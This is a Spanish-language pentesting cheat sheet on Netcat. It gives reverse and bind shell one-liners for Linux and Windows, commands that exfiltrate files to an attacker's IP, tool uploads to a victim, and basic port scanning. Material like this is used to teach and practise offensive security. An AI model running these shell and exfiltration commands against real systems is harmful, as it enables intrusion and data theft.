Skip to content

🔧 Netcat

Documentación oficial Netcat

Netcat es conocida como la "navaja suiza" del protocolo TCP/IP. Es una herramienta extremadamente versátil que permite leer y escribir datos a través de conexiones de red utilizando los protocolos TCP o UDP. Es indispensable en cualquier auditoría para depuración, transferencias de archivos y, sobre todo, para establecer acceso remoto.

Está disponible de forma nativa en la mayoría de distribuciones *NIX y cuenta con versiones ejecutables para Windows.

👂 Comandos Básicos y Conexión

El comando estándar para ponernos a la escucha es:

bash
nc -nvlp 1234
  • -n - No realiza resolución DNS (más rápido).
  • -v - Modo verbose (muestra detalles de la conexión).
  • -l - Modo listen (escucha conexiones entrantes).
  • -p - Especifica el puerto local.
AcciónComando
Conectarse a un puertonc -nv <IP> <PUERTO>
Escuchar en modo UDPnc -nvulp <PUERTO>

🐚 Shells Remotas

Esta es una de las funciones más críticas durante la fase de explotación.

1. Reverse Shell (Recomendado)

El objetivo se conecta a nuestra máquina. Es la mejor opción para evadir firewalls que bloquean conexiones entrantes.

  • Atacante (Escucha): nc -nvlp 4444
  • Víctima (Linux): nc -e /bin/bash <TU_IP> 4444
  • Víctima (Windows): nc.exe -e cmd.exe <TU_IP> 4444

2. Bind Shell

Nosotros nos conectamos al puerto abierto por la víctima.

  • Víctima: nc -nvlp 4444 -e /bin/bash
  • Atacante: nc -nv <IP_VICTIMA> 4444

⚠️ Limitaciones de la "Dumb Shell"

Por defecto, una shell obtenida a través de Netcat es muy inestable y limitada:

  • Si pulsas Ctrl+C, la sesión se cierra por completo.
  • No hay autocompletado con el tabulador.
  • No hay historial de comandos (flechas arriba/abajo).
  • No se puede usar editores de texto interactivos como nano o vi.

Para solucionar esto, se suele requerir un proceso manual de "estabilización de TTY".

🚀 Herramienta automática: Penelope

Para evitar el trabajo manual, se puede usar esta herramienta, la cual es un reemplazo moderno para el listener de Netcat que detecta automáticamente la conexión y estabiliza la shell de forma automática, dándote una TTY completa con historial y resistencia al Ctrl+C.

📂 Transferencia de Archivos

Útil para subir herramientas de post-explotación o exfiltrar información cuando otros medios (como SSH o HTTP) no están disponibles.

Escenario A: Sacar un archivo de la víctima (Exfiltración)

  1. Atacante (Recibe): nc -nvlp 4444 > archivo_recibido.txt
  2. Víctima (Envía): nc -nv <TU_IP> 4444 < archivo_sensible.txt

Escenario B: Enviar un archivo a la víctima (Subida)

  1. Víctima (Recibe): nc -nvlp 4444 > herramienta.sh
  2. Atacante (Envía): nc -nv <IP_VICTIMA> 4444 < herramienta.sh

🕵️ Otros Casos de Uso

Escaneo de Puertos rápido

Si no dispones de Nmap, Netcat puede realizar un escaneo básico:

bash
# -z: modo Zero-I/O (escaneo sin enviar datos)
# -w 1: timeout de 1 segundo
nc -nvz -w 1 <IP_OBJETIVO> 1-1000

Para identificar el servicio y la versión que corre en un puerto:

bash
nc -nv <IP> <PUERTO>
# Una vez conectado, presiona Enter para forzar una respuesta del servicio.

Sin copyright ni nada. Ház lo que quieras con todo esto.